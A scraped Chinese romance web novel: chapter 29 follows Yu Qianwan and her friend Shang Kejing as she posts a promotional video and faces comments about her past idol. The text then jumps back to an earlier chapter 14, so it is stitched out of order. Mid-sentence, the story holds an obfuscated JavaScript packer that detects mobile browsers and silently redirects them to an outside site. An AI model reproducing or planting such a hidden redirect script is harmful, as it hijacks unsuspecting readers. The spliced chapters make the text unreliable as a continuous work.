虽然她深知商恪景是奔着虞千绾来的,但别人不知道呀,所以她现在勉强也算在大家好奇的范畴内,小小蹭一下他们的“光环”。 两个当事人却并没太多如此的情绪,大概是因为家世优越外貌出众的他们自出生起就被周围人艳羡着,早已习以为常。 虞千绾一边身侧坐的是徐盼雁,另侧是空的,或许是因为那侧只余一个位置,现场来人大多的结伴的,所以都会选择坐在一起。而且场馆空位还挺多,第二排第三排和第一排的差距也没有很大,所以虞千绾另侧的空位一直空到现在没人坐,身后倒是基本坐满了。 商恪景正好坐上了她身边的空位,开口就是戏谑又散漫的调调,“醒神没啊?我的大小姐。” 当局者迷,虞千绾听起来就觉得很欠揍的称呼落在徐盼雁这个局外人的耳朵里顿觉宠溺。 徐盼雁真的想不通,这俩人怎么会真的是朋友,原来异性之间真有这样纯洁的友情。 在刚认识虞千绾那会儿,徐盼雁其实是不太信的,因为她和商恪景实在看起来太配太熟稔,不仅是外貌还有性格,以及随便的一个眼神一个动作,他们都太懂对方,完全超出了徐盼雁对异性朋友的认知。 但时间一晃这么多年,大学都快要毕业了,他们依旧是这个状态,没有丁点要交往的意思,徐盼雁才打从心底里觉得他俩真是那种自小认识的纯友情,时而实在看他俩般配的时候,她就会猛拍自己的脑袋,暗暗训自己真是个无可救药的性缘脑,可不能再这么瞎想,人家俩人之间是纯洁的不能再纯洁的发小情谊了。 这不,下一秒虞千绾毫无暧昧的话腔和动作就扼杀了徐盼雁又觉得他俩之间感情变味的念头。 “闭嘴啊。” 虞千绾这么回商恪景,还伸手指了指他,皮笑肉不笑的警告,“你马上还要比赛,我先不打你。” 她一听他这个称呼就觉得他包藏祸心。 总觉得他下一句就要蹦出些拿腔作调的话恶心她。 商恪景闷笑出声,“天地良心——” 天地良心,他真没这个意思。 但确实他曾经多次以“虞大小姐”开头说过些揶揄的话,导致虞千绾这个反应他一时间也无从辩驳,是他自作自受。 而且,商恪景话还没说完,视线就忽被她手腕上的红痕吸引。 笑容骤散,他倏地伸手但又怕弄疼她,所以攥在了她小臂中段的位置,声音都在瞬间冷了下去,“怎么弄的?” “不小心磕着了。” 虞千绾下意识将手往回撤,另手还将袖子朝下拉了拉试图掩住手腕。 换做平常她肯定立刻就跟商恪景说了。 但今天不同,他马上要上场比赛,虞千绾怕跟他讲完以后他会多想,影响到比赛就不好了,所以还是等到比赛完后再跟他说比较好。 可商恪景完全不给她躲避和将手收回去的机会,他稍一用力就将她的手腕拉得更近,另手还将她的衣袖彻底撩起露出完整的红痕,“虞千绾你骗鬼呢,磕哪能磕出五根手指掐出来的印子?有本事你再磕一个给我看看?这明显是指痕——谁欺负你了。” 最后五个字,他是以一种很不爽的语调一个字一个字从齿关挤出来的。 虞千绾很是无奈。 她腕骨虽然转动时还会有些轻微的疼感,但毕竟没破皮没伤痕,肉眼上看不出来什么。指痕也不是什么大问题,过一会儿也就自动散尽了,商恪景再迟个几分钟过来估计就什么都看不出了,奈何偏偏是现在……比赛还没开始,指痕也还要散不散的还留在她嫩白的肌肤上。 但再隐瞒反而让商恪景多想。 虞千绾这才将刚刚的事全盘托出。 徐盼雁也在一旁补充,让商恪景这段时间千万多陪陪虞千绾,尤其不能让她一个人走夜路。 商恪景眉头越听蹙得越紧,带有明显压迫感的眼神直接在现场扫视起来,“物理系老师?他现在还在现场吗?” “应该……不在吧?” 他这么一问,虞千绾也不确定了,“盼雁回来的时候他走了,后来回没回来我就不知道了。” 她也大致看了一圈,但篮球场大,坐得远些的人完全看不清面庞。 所以虞千绾虽然没看到周既明,但不确定是自己没看到还是他不在。 商恪景还想说什么,但曹教练那边已经在喊他了,“恪景,来热身准备上场了。” 虞千绾赶忙推他起来,“你快去打比赛吧,什么事咱们结束再说,一定要赢啊,加油加油。” 商恪景站倒是站起来了,但还是不太放心地叮嘱:“上下半场之间有休息时间,你要是想去卫生间的话等那时候我陪你去,你们俩女孩子就别单独去了,篮球场这边有些偏,卫生间也空荡没什么人。” “知道知道,别念了商妈妈,快去吧。” 虞千绾刻意这么说想逗笑商恪景让他别绷着情绪。 结果商恪景没笑,徐盼雁倒一下被这称呼逗得扑哧笑出声。 这俩人真有意思,一个喊“大小姐”一个喊“妈妈”。 29. 第 29 章 三日后。 成功进入十六强的篮球队教练按照规定去到一处进行十六进八的对手和场地抽签,最终确定京大和京市师范大学在十六进八这一轮PK中成为对手。 篮球赛的场地是在确定对阵双方后再进行抽签的,并且场地只限于双方的篮球场,所以抽到在自家主场进行比赛的机会挺大,一半一半的概率。 这一次,曹教练的手气依旧不错,京大与京师大这周六的篮球赛也将在京大的室内球场进行。 京师大实力要比京大上次面对的京科大强些,但比之京大还是要弱上些许,对他们的威胁并不大。 应该说,在近五年来的京市高校篮球赛中,基本只要京大、京体大、京理工大这三所高校不在四强前抽到对方必须淘汰一队就都能进到前三甲的争夺里,所以这三队只要面对的不是另外两队,胜算都很大。 三支球队教练每次抽签时除了自身最关注的就是另外两支球队的对手,巴不得他们互相抽到对方对打,这样自身就能坐收渔翁之利了,但希冀的那幕至今尚未出现,三支队伍将会继续在十六进八的比赛中无情虐杀对手。 又是两天后。 嘉澍集团旗下的购物平台公开了容博延代言人的身份,正式进入双十一前的宣传期。 虞千绾精修过好几轮、早早做好的视频也终于发了出去。 视频在电脑里保存好些日子,虞千绾反复看了不知多少遍,但许是看的次数太频繁修改的次数也太频繁,所以改到最后她都有些丧失判断力,难以辨别到底哪一版更好,于是她将几个视频交给助理,让助理同嘉澍那边的专业团队一起以他们专业的眼光给出建议。 那边很快就给了回复,虞千绾也就选定了那版视频作为最终版没再动过,就是时不时的还会忍不住去看。 当在一件事上倾注的心血太多但又迟迟得不到结果,内耗就很容易发生。 虞千绾起初明明对新账号的运营很有自信的,但为了配合购物平台的官方宣传团队一直搁置着不能发出去得到及时反馈,搁置着搁置着她就忍不住多想,怕自己的视频发出去后没有水花,跟着就联想到自己可能会把新账号作废,届时等到上个视频积攒的几个月假期结束就得老实去到嘉澍上班,之前的美好畅想全部落空。 但时而,虞千绾又觉得未来美好,一片光亮。 心想自己视频做的这么好,怎么可能会有人不喜欢?必定会爆! 念头来来回回,虞千绾感觉自己都要精分。 只盼着宣传期早点到来,无论是死是活起码让她知道,否则她的头上就像是一直有把悬而不落的利刃让她惴惴不安。而且不知道结果,连下一步往哪努力都不确定,让虞千绾这种急性子的人很是烦躁。 但真到了这天,真要面对结果了,虞千绾又紧张的不得了。 在将要把视频发出前半小时不到,她拿着手机踩着拖鞋穿着睡衣风风火火出门转身进了商恪景家。 商恪景正在卧室里看京体大和京理工大前些天32进16的比赛视频。 因为新的一年,各个学校的篮球队队员都有变动,原先那波大四的学生自不用说,基本都已毕业离校,其中还能留在本校读研并且继续愿意打比赛的人少之又少。而原本的大三队员现在也因为进到大四忙着自己的未来没多少时间参加球赛要么选择直接退出篮球队要么处于半退的状态,所以各个学校的篮球队都加入了新人,其中不乏球技好的。 曹教练便弄来了京市高校篮球赛的第一轮比赛视频发到微信群里带着篮球队的大家一起分析了解对手,再制定出对应的策略,但主要还是针对研究京体大和京理工大这两个老对手,为了后续对上他们做准备。 现在才早上九点出头,商恪景也才刚醒没多久,虞千绾前两天就在担心今天发视频的事了,昨天尤其,晚上拉着商恪景叽叽咕咕说了好多好多,凌晨睡得迟,所以商恪景不觉得她这个点会醒,就没急着去她家找她。 哪知家门的开关声突然隔着卧室门隐约传来,商恪景当即按住手机音量键,把声音调到最低,竖耳细听屋外的动静。 但这个时候,外面已经没有动静了,他的微信也没有收到来自虞千绾的消息。 就在商恪景怀疑是不是楼上楼下的动静过大震到他这里让他误听为自家门口传出的动静时,卧室门外似是有人直接整个身子都趴了上来,发出“咚”的声,闷闷声调跟着就有些可怜的传入,“商恪景……你醒了没啊,SOS……我需要陪伴。” 轻笑声瞬间从唇齿间漾出。 “来了。”商恪景掀开被子起了身,手机被他灭了屏,球赛视频自动暂停。穿鞋的同时,他理了理上身露出大片胸膛的睡衣,将在睡觉期间不知随着哪个无意识的翻动而散掉的衣扣严谨扣好。 面对心上人,他格外注意些形象,抬手将睡得微乱的头发抓了抓,确定没有滑稽上翘着的小簇短发后他才打开了卧室门。 因为刚刚听虞千绾发出的动静像是整个人都贴在门上,商恪景没贸然从内拉开门,而是微微扬声提醒了句:“我开门了。” 隔着门板,虞千绾嗡声嗡调的“嗯……”传入,低低回应着,向他示意自己听到。 饶是如此,商恪景开门时还是刻意将动作放缓了些,膝盖也稳稳抵在了门后便于在突发情况下用力撑住。 不过虞千绾已经没趴在门上了,她换了个地方趴——门框边。 她的身形被墙壁遮挡住,脑袋半探。 早上刚醒就看到这样一幕,被这样一双带有些依赖的眼注视着。 商恪景好心情地将门大敞开,双手环胸抱靠在另侧门框前,眉梢上挑,“怎么醒这么早?这还没睡够八个小时,紧张的睡不着吗?” “嗯……” 虞千绾有气无力耷拉着脑袋,“一晚上都没怎么睡好,总是睡着睡着就乍醒,下意识就想拿过手机看时间点,看视频有没有自动发送出去,看评论区的反馈,看视频的点赞量……结果到现在还没到九点半。” “那收拾收拾下去吃个早餐?做点别的事情时间可能会过得快些。” 商恪景低头看了眼手机时间,距离九点半也没多长时间了,出去随便走走就打发了时间。 “不要,我只是精神紧绷情形,但身体很困,不想动。” 虞千绾摇了摇头,“而且如果视频发出去以后突然发现有什么问题的话,在外面也不好及时修改,还是在家比较好。” “虞千绾,你脑瓜里在担心些什么?你那视频过了专业部门多少遍审核了,你自己也看了很多遍,怎么可能有问题,别在这自己吓自己了。” 觉察到她近乎过度的瞎想,商恪景哭笑不得,索性拉住虞千绾的胳膊打算直接把她带回她家换身衣服出门,不给她过多沉浸在担忧情绪里的时间。 结果虞千绾双手牢牢扒拉在门框边,死活不松,“不行,不要!我不想出去,我就是觉得一个人心太慌了,就来找你说说话,仅此而已!” 她的美甲就抠在门框边缘,仿佛稍一用力就会将指甲弄劈,商恪景顿时收了力,不敢再动她。 虞千绾也就继续那么扒拉在门框边。 拿她没辙,商恪景只能先去收拾自己,“行,那你说,我去刷个牙洗个脸,刚醒没一会儿还没洗漱。” 见商恪景是真的往洗手间的方向去,不是装模作样诓她下一秒又要给她拉出去,虞千绾这才松开门框,跟随上去,很快又扒拉在洗手间的门框边。 商恪景看着,鼻息间漫出声哼笑。 她今天跟门框干上了吗?走哪都赖着。 简单的刷牙洗脸这类日常没什么隐私,商恪景没将洗手间的门关上,如此也方便同她沟通。 清水漱口后,将牙膏挤在牙刷上放入嘴前,商恪景看了眼虞千绾,“不是要找我说说话?说。” “……” 虞千绾沉默着,没说出话。 商恪景正在刷牙,嘴里已然有了泡沫不便于说话,于是他将略带困惑的头低到她面前,朝她扬了扬眉,似是在问“怎么不说?” 虞千绾看懂了,但更惆怅了,“我也不知道说什么,就是觉得不想一个人待着。” 商恪景吐掉嘴里的泡沫,将自信时候的她说的话复述给现在的她听,“某人之前可是很严谨的对比过容博延曾经代言方发出的宣传视频数据和工作室花絮的点赞量后说自己的视频光他出现的那几帧都起码能到五万点赞量,稍微涨涨就到和昭音姐约定的十万赞,又能轻松拿到一个月假期,现在慌什么?大不了我给你买点水军呗,让水军给你狂点两百万的赞。” 虞千绾一噎,终于松开了扒拉着门框的手,转而就往商恪景肩膀上狠狠拍了一下,“你这人真是,不尊重我的劳动成果。而且两百万点赞多假啊,我姐肯定会发现的。” 商恪景本来也只是说这话逗她而已,她这段时间的努力除了她自己就是他看到的最多了。 他俩的性格在这方面也很是相像,摆烂躺平的时候是真平。面对一些不乐意干但不得不干的事,他们只会勉强弄个及格分能过得去就想,并不会太上心,也不会太过于强求苛责自己。可若是自己感兴趣真上了心想做,就算周围所有人都说行不通做不成,那也是八头牛都拉不回的,不撞到头破血流不会放弃,即便眼前面对着的是百分之九十九的败率,他们也会用那感知到的百分之一宽慰自己走下去。 没有人不怕失败,没有人不想轻松迎接成功,他们自然也是。 但商恪景深知引起虞千绾而今这个反应的最大原因不是失败,因为他之前就发现,她已经在做后续的视频了,而且不止一条,她认真写了好几个脚本,还有准备后续打算和助理沟通让嘉澍配合想要拍摄的一些内容。这就代表,无论这条视频成功与否,她都已经做好了向下继续的决定,只是目前一直得不到反馈让她饱受时间煎熬有些难受罢了,实则无论好或坏她都会接受。 商恪景不知道她有没有意识到,她现在对待视频的态度已经越来越远离一开始与昭音姐打赌的初衷了,现在的她已经在用百分百的认真在好好对待工作了,就连十万赞换一个月假期这事她都越来越少提起了。 商恪景觉察到,但事已至此,当下能让她舒服的就是让她尽快度过这剩余的二十分钟,只要到了视频自动发出的点,她收到了网友给到的反馈也就好了。 于是他继续顺着虞千绾的话揶揄,“那这样,咱就买一点,比如你视频到了五十万点赞的话,偷偷买到六十万,这样应该不容易被发现。不然你的点赞量要是定格在五十九万九的话多亏啊,再多一千就能多一个月假期了。” 新账号创立的本身就是带有极强的宣传和商业向的,虽然算是种软广,但还是远不能和娱乐向的视频对比的。 所以虞千绾压根不指望这条视频能达到上条视频那样突出的点赞量和传播度,毕竟两条视频性质和定位不同,并且像上条视频那样的成绩不是随便能出的,除去能力外还需要一定的运气和契机。互联网上那么多技术流,爆款视频却少之又少就是最好的论证。 但在听着商恪景张口就是五六十万点赞的时候,深知虚假的她还是很难不开心,就像在社交礼仪中商业互夸的双方都知道对方的话不一定发自真心,可听到耳朵里落到心里还是美滋滋的。 虞千绾此刻就是这种状态,并且,她甚至觉得商恪景说的话有些道理,实在是他的例子举得太好太让人心动——五十九万九和六十万两个相差并不大的数字,仅仅一千的点赞量却代表着一个月的假期。 不自觉地,虞千绾开始顺着他的话向下思考,“我之前还真没想过这些,不过我觉得买的点赞量不夸张的话,我姐肯定觉察不到,她甚至都不怎么关注短视频,但不知道能不能瞒住专业团队,我姐肯定会问她助理有关我的工作。但如果真的只是差一千几百这种小数字,我姐就算知道应该也会睁只眼闭只眼吧?” “虞千绾。” 商恪景含糊喊她名字,短短的三个字里透着浓浓的笑音。 “嗯?” 商恪景漱去嘴里的泡沫,这才更加清楚的将话诉出,笑意也更明显,“咱能不能多正经几秒?你上一秒还在谴责我不尊重你的劳动成果,下一秒就在自己说这些话,你觉得合适吗?” “那怎么了,这两者不一样。我自己可以说,你不可以说我。而且我只是这么说说,又不会真的做,毕竟我这个账号代表的是嘉澍集团,我还是很知道轻重的。” 虞千绾很理直气壮地回说,但脑袋不自觉也笑仰了过去。 商恪景斜睐她眼,低下头去洗脸,边洗边笑。 虞千绾推搡他一下不许他笑,他反倒笑得更厉害,惹得虞千绾也很难绷。 明明一开始就是个寻常到不行的交流,短暂笑一下过去就行了,结果听着对方笑声的两个人都笑到难停。 他们仿佛有着自己的小世界,别人或许觉得无厘头,他们却在其中感受缤纷。 不太正经的诙谐氛围确实把虞千绾的注意力从视频工作里转移了出来,让她在无意识间已经没再多想。 很快,商恪景洗漱完,两人一起去了沙发上窝靠着。 闹笑的劲退散了些,虞千绾又开始忍不住去观察时间,去想视频的事。 商恪景显然意识到,也在想办法继续吸引她注意力。 他先是顺手拿过电视遥控器,而后大抵是想到这种时候虞千绾看不进去电视,转而又放下了遥控器换成手机,给她看了几眼比赛视频,提了几句后续比赛的事。 因为知道虞千绾对篮球没兴趣,商恪景仅是以这个开局,并没聊太深太久,跟着就丝滑转到她之前观赛时从徐盼雁那得到的八卦上。 她们俩最近因为球赛和日常训练见面得很频繁,说的八卦太多,加之虞千绾近期忙着工作的事,她还没来及把从徐盼雁那知道的所有八卦都转述给商恪景听,只说了些比较炸裂或者都认识的朋友的瓜。 商恪景主动提起来这个确实是个很好的话题,只不过在当下这个时间点,虞千绾很容易就猜到商恪景的意图,知道他是想帮自己转移注意力。 饶是如此,她依旧顺着商恪景的话题向下,即使她还是会忍不住担忧视频,但有话聊总比孤寂着好,多多少少能让她少些心焦感。 两人就这么一直聊到九点半,期间,虞千绾其实已经逐渐沉浸入聊天里,跟商恪景越聊越起劲,对视频的焦虑只剩那么一点。 但她为了提醒自己视频发送了出去,昨天就特意定了个九点半的闹钟,这会儿骤然响起。 虞千绾分享的话一秒停住,瞳孔骤缩,赶忙低头紧张去找手机,摁掉闹钟后飞速点入短视频APP查看。 商恪景也将头探过去垂视着她的手机屏幕,无声在心里为她祈祷。 不过无论是理性还是感性,他很相信她能够做成,所以并没她那么紧张,更多的是期待她得到正面反馈时展露出的笑颜和憋在嗓子眼“我就知道你能行”的夸赞。 毕竟是账号的第一条视频,且才刚刚发出去估计都没几个人看到,虞千绾都做好打开账号没有点赞评论只有零星几个凄惨浏览量的准备了,没想到居然还有两条评论,她一刷,又跳出一个长评。 三位发评人的ID后面都有系统自带的[粉丝]两个字标志,皆是关注了她的账号才会显示的,应该都是当初官号的那则视频小爆后引流过来的网友。 前两条是没什么参考价值的评论: ——【首评!】 ——【第一第一】 ——【诶,刚弹出来个提醒说我关注的人发视频了,我完全不眼熟这个ID还以为自己被买粉了呢,细看才发现原来是嘉澍小公主~终于等到你发视频,还好我没放弃。】 第三条则是这种熟悉的浮夸称呼和豪门小说味。 瞬间就将虞千绾的记忆拉回那段时间官号视频小爆的时候,这种感觉让她无措曲指蹭了蹭额头,既尬又想笑。 赶忙,她拿着手机的右手拇指在评论区刷新了下,想刷出新的评论压下这条,也想看看别的评论。 偏偏这时候,耳边响起了某人的声音,“嘉澍小公主。” 商恪景其实是在用正常的声音讲话,但这五个字让虞千绾实在感到羞耻,所以哪怕是正常的声线落到耳朵里都觉得浑身要起鸡皮疙瘩,尤其还是从熟人的口中出来。 但此刻,虞千绾的注意力都放在评论区里,她挪不开视线给到商恪景,而且商恪景这人越搭理越起劲越爱玩,所以她只是警告地“啧”了他一声。 “怎么了小公主?” 这一次,商恪景略微拿腔作调的。 “商恪景你好烦,快闭嘴。” 虞千绾耳朵都有些红温,终于受不了地嗔了他眼。 商恪景很是戏精地捂着心脏一秒后仰倒在沙发上,“好心碎,需要我的时候不顾我睡没睡醒就来喊我,现在不需要我了就凶我。小公主你怎么这样?就因为你是公主吗?公主就可以不管别人死活了吗?” 虞千绾被他弄得啼笑皆非说不出话来,她抬手就在商恪景小腿打了下。 得到回应的商恪景演得更起劲了,“啊!公主犯法与庶民同罪。” 虞千绾尬到掩面沉默了十几秒,最后选择惹不起还躲不起嘛,她朝侧边挪了挪,一直贴到了沙发边缘到不能再边缘的位置继续刷评论,掩面的那只手保持着没有放下来。 商恪景在沙发上又戏精地嚷了几句,但因没人搭理,顿觉无趣的收了声,哀怨坐起身看着虞千绾。 虞千绾感知到,将掩面的手微侧,一声不吭默默阻隔在他们俩之间。 商恪景倾身抬手抵开她的手,直直看着她的脸。 虞千绾依旧没看他,但手上用力试图压过商恪景的力气回归原位,商恪景也用着力。 两人的手就这么呈对峙状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16421483|181625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无声激战着。 直到视频开始有流量,评论区逐渐刷不过来且大多都是友好评论时,商恪景才没再打扰虞千绾。 他已然如愿看到了她松懈下来的身形和眉眼间漾开的笑,无声瞧着也笑了笑,正巧手机因为曹教练在微信群里@全体成员而震动,他便低下头继续去处理自己的事。 应该是嘉澍集团那边的协商。 虞千绾已然有些热闹起来的评论区里居然出现了容博延认证账号的评论,紧跟着,容博延的工作室也来给了支持,评论区的热闹程度瞬间又上了许多达到峰值。 容博延很少参加线下活动,也不太喜欢在自己的账号上营业,大多时间都待在剧组里拍戏,所以他的粉丝只要在别人的视频里看到没出现过的容博延画面都很积极热切。 虞千绾的首条视频本就因为有容博延的存在涌入了不少真爱粉和路人粉,这下正主进场更是又带来不少热度。 有些速度快的粉丝已经把虞千绾视频里的容博延截了出去,或做美照或添上新的BGM做成别的风格的短视频宣传出去。 信息茧房,还有一些容博延的粉丝没刷到虞千绾的视频,毕竟她的视频相对短视频来说有些长,而且容博延只出现了一小截,还不是在开头。但一些人在专门制作容博延视频的粉丝账号里看到了片段,纷纷在评论区询问视频来源是哪里,她们怎么没看到,然后便有人为其解答@了虞千绾的账号。 传播度最广的还是容博延及其工作室在虞千绾视频下的评论,粉丝直呼【老公,你让我感到陌生!】 还发出眼红的艳羡声:【谁懂啊,我哥因为不怎么给人签名,签名照都炒到了五位数,结果人家不仅有合影还有本尊的评论,我还很心服口服的承认是我家哥哥高攀了。为我哥接嘉澍更多商务!信女祈祷(双手合十.emoji)】 路过的追星族也把评论区当成了许愿池: 【呜呜呜,重生之我是嘉澍小女儿】 【接,我大接特接!老天奶,下辈子我就要这种人生!】 紧跟着,营销号开始入场,评论区那类有关“大小姐”“小公主”“商业帝国——嘉澍集团”的字眼和言辞又夸张的发酵了起来。 在一众热闹声中,不可避免的,常桦的名字还是出现在了虞千绾新账号的评论区里。 但因为视频开始推流以后,尤其容博延来了后,虞千绾完全看不完评论了,评论出现的速度比她看的速度快太多太多,在她冷不丁刷到第一条和常桦有关的评论时,下面已经有人回复了楼中楼。 大多是容博延家粉丝的回击。 因为他家跟常桦在娱乐圈的地位简直一个天一个地,常桦的名字出现在这,他家粉丝只觉得是常桦粉在蹭自家热度。 常桦那点粉丝量自然没法和容博延的粉丝相提并论,很快就被骂到删评,又或是不再回复。 同样,以他的那点粉丝量也没法在评论区掀起太大风浪。 比之他粉丝的评论,【常桦是谁】/【ch是谁】/【请全世界说中文】/【为什么都要缩写,说全名犯法吗?】/【字好多,有没有简洁版瓜给我吃吃】这类评论的点赞量倒更高。 评论区里有几个粉丝为了帮常桦说话莫名抹黑虞千绾,幸而,这几个粉丝ID虞千绾并不眼熟,所以并没有在虞千绾心里激起什么波澜。 反倒在楼中楼里面,虞千绾看到几个为她讲话的熟悉ID,那些眼熟ID都在让层主删评,说虞千绾已经脱粉过自己的生活了,支持脱粉自由。不管她最后留下的[快跑]两个字究竟是什么意思,她给常桦做站姐期间给的钱和时间都是真的,没有任何一个常桦粉丝比她做得多,所以没资格在这说什么打扰她的生活,而且这里压根不是常桦的主场,提了只会给常桦招黑,如果真喜欢常桦就快点删评,不要败坏路人好感。 虞千绾看的眼眶都有些湿润,最让她感怀庆幸的还是这些ID眼熟的朋友基本都已经脱粉了常桦——她专门点进了她们的账号主页查看,里面没有和常桦有关的宣传视频了,她很确定在之前她们的主页都有很多常桦的视频,因为那时,她们经常在一个群聊里聊灵感,想着怎么样能让常桦更火一点,绞尽脑汁努力为常桦剪辑视频想让更多人注意到他。她们一起做数据、研究热点、并且常在一些适合常桦咖位且要组织线下的官方号评论区努力向他们推荐常桦,就连推荐邮件都发过不知多少封。 评论区也不是没人注意到常桦,而且当初虞千绾给男网红当氪金大粉的事也被营销号弄得沸沸扬扬,当时刷到这个事当瓜吃的人并不少。 但大抵是因为两人身份悬殊太大,并且虞千绾的评论区里就有个绝对碾压常桦的容博延,所以网友们都下意识把虞千绾放在高位,认为她当初只是和常桦玩玩而已,没了新鲜感不再给常桦砸钱很正常。 网友甚至都不认为这种玩玩是玩感情,而是无聊解乏的手段。就算是玩感情,也不可能是真感情,常桦这种职业这种普通背景怎么可能嫁得入豪门,简直是痴人说梦。网友都觉得是常桦粉丝对常桦的滤镜太厚,犯了癔症。 虞千绾看到这种评论,很是面臊,尤其看到别人把她统称为那类“很强势心机很深沉,外表单纯如小白兔内心精明如蛇蝎,压根不可能有情丝的有钱人”行列时,她脸颊窘迫的迅速红温了。 因为彼年的她太愚蠢,同网友们的想象完全相背……如果重来一次,她也想做那个内心精明不动真感情的有钱人。 有关常桦的评论在热闹的评论区不足百分之一,但每当虞千绾要忘记上一条有关常桦的评论时,下一条有关他的又乍然出现在眼前,让她不自在极了。 网友的那些评论大多都不是事实,可只要一看到,虞千绾脑海里莫名就会联系到自己当初的一些愚蠢举措,她感觉自己在被反复拉出来鞭尸。 常桦已然成了她的黑历史。 因为这个黑历史被反复提及,右手刷着评论,左手抵着额头的虞千绾将脑袋越垂越低。 倏地,她低垂狭窄的视线里猛然挤入商恪景的半张脸,他就那么不设防地突然将头压得比她还低,自下而上看她,“你脸怎么通红?” 感到丢人,虞千绾不想说,下意识狡辩,“才没有。” “没有?” 商恪景笑出了声,他想虞千绾大概不知道自己的脸有多红,否则也不能说瞎话说到这种程度。 但真问出结果以后,笑不出的人变成了他。 “常桦”这两个字就像是操控商恪景情绪的开关,一听到各种不快都涌了上来。 哪怕他清楚虞千绾现在提到常桦并不是出于喜欢,甚至全都是负面的,但这也不行。他自私的不想让虞千绾的情绪再因为常桦这个人产生一丁点的变化,这样,是不是才真的代表虞千绾完全不在意常桦了,毕竟不是有句话叫恨比爱长久吗? 商恪景这么想。 但这样的念头做起来实在难,毕竟连他自身听到常桦的名字都无法保持平静,更何况是深受其害的虞千绾。 两个小人在脑袋里打架,一边是极强的但没身份的占有欲,一边是推己及人的思考。 到底还是前者略占上风,秉持着眼不见为净想法的商恪景抬手就想拿过虞千绾的手机,“不想看就删掉,我帮你删,反正一共也没多少,我时间多的是。” “不行!” 虞千绾立即将手机往身后背,拍打开商恪景的手不许他拿,很有理智道:“那样岂不是更显得欲盖弥彰?本来没什么人关注到的,越删越容易出事。估计再等我发几条视频,评论区就不会再出现和他有关的评论了。” 这也不行那也不行。 商恪景有些憋屈的闷了几秒,索性选择探出手在虞千绾发顶没有章法地乱揉了几下发泄,“记住这种感觉,以后别再随便对男人心动了,不然还可能遇到比这更窘迫的境遇。” 他不爽到连自己都纳入攻击,“这世界上就没几个男人是好东西。” 既然她不喜欢他,他们没法在一起,那他就潜移默化地一直跟她灌输这些想法,让她别喜欢上别人。 这样,从某种程度上来说,他们也算是一辈子在一起了。在她的人生中,除了家人外,应该也不会有比他优先级更高的异性了。 虞千绾侧目嗔来一眼,一句完全不在商恪景意料中的话脱口而出,“还不都怪你,那我从小到大就跟你这一个异性关系好,我还以为大家都这样好,哪里想到第一次喜欢人就发展成这样……” “都怪你。”说着,虞千绾还有些小脾气地朝商恪景胳膊侧推了下。 她面上的那抹尴尬绯红还没褪,声线又天然的好听,轻松将话说得像是在撒娇,没使多少力气的动作也像。 商恪景有力稳健的身形却被她这样一个动作推得微晃,心更是在瞬间飘到不知哪去。 她最近到底怎么回事,怎么这么会说话? 撩死人了知不知道? 14-20 第14章 第 14 章 他在勾引她 薄正卿回国的第二天, 商恪景依着约定早起打算出门。 因为时间还早,他觉得虞千绾九成九没醒,但还是没忍住给她发了条消息试探:[醒了没?] 哪知就在玄关处低头穿个鞋的功夫再抬起头,那仅存的零点一成小概率事件竟发生了——手机响起声消息音, 虞千绾回复了个人机般的1。 商恪景抬了抬眉, 边打字边推门往外去: [这么早醒了?] [那我过去找你] 虞千绾那边回了个OK的表情包:[我在卧室还没起, 你直接过来就行] 商恪景踏出家门, 反手关上门, 而后转个身走几步就到了虞千绾家门口,手指娴熟输入她家门密码, 解锁推门进入。 他俩都很放心彼此, 没在这方面设防,但起初也没特意想着告诉对方密码, 就是后面相处间互相串门的频率太高,他们嫌反复起身开门麻烦, 加之有时没及时看到消息害得对方多等, 便把密码告诉了对方方便对方随时进来,也省得自身窝着不想动的时候还得起身开门,反正从门口进来先看到的是玄关和客厅,也不会一个不小心看到什么不该看的。 因为虞千绾的消息, 商恪景径直去到了她卧室门前, 先是叩了叩再将门推开半人缝的空隙。 虞千绾明显刚醒不久,窗帘都没拉开,屋内就开了盏昏黄的床头灯, 光线很弱。 声音也掺着淡淡的闷哑感,“你不是要去跟薄正卿玩吗?怎么这个点过来找我?” 商恪景就站在卧室门口同她讲话,没进去, “马上就去,来问问你想吃什么,晚上我给你打包点带回来。” “嗯……” 虞千绾刚睡醒不太饿,冷不丁被问想吃什么,一时间也想不出来,思忖须臾选择放弃,“你看着带吧,反正我喜欢吃什么你都知道,辣口的就行。” “成。” 这些话商恪景不是不能从消息问她,但如果能面对面聊,他毫无疑问选择后者。 前段时间因为背伤在爸妈家住了好一阵,虞千绾虽然也隔三差五去看他,但比之先前邻挨邻住着的频率低了太多,商恪景非常不适应,就跟患上了名为虞千绾的分离焦虑症似的。 所以搬回校外小区居住的这几天,他格外黏虞千绾,哪怕两个人待在一块不说话不做什么,只是各玩各的手机,他也要窝在她身边玩,这样一抬眼就能看到她。 哪知这还没过几天好日子又要大半天见不着她,若不是兄弟那边刚从国外回来,他们又许久没好好聚过,他是真不想去出去。 商恪景本都做好出发的准备了,眼下在这个时间点完全出乎意料地跟虞千绾碰面,脚下就像被胶水黏住压根不想走,顺势又跟她寻话题开始聊,“稀奇了,今天又没课,你怎么醒这么早?” “过些天不是事多比较忙嘛,我就想趁着这两天空闲问问学长有没有时间一起出来玩,凌晨给他发消息的时候他睡着了没回,我就一直惦记着他什么时候睡醒给我回复,所以睡得不沉,总是迷迷糊糊想拿起手机看一眼。” 商恪景被门挡住大半轮廓的脸在听到“学长”两个字的瞬间就垮下,听着虞千绾的念叨,他只想狠扇自己一嘴巴,他就不该问,自寻苦吃。 虞千绾叹了口气,“但是就在你给我发消息前几分钟,我收到了学长的回复,他说要到处跑剧组面试,没时间,我只能惆怅一会儿再继续睡了。” “那正好,你就在家等我晚上回来给你带海鲜,肯定比跟他出去玩舒服,今天热死了,外面一点都不好玩。” 事已至此,虞千绾还能说什么,她别无选择,只能宅在家等待商恪景晚上的投喂了- 薄正卿攒的局是在他的私人游艇上,商恪景戴着墨镜到达时,薄正卿上来先给了他一个大大的拥抱。 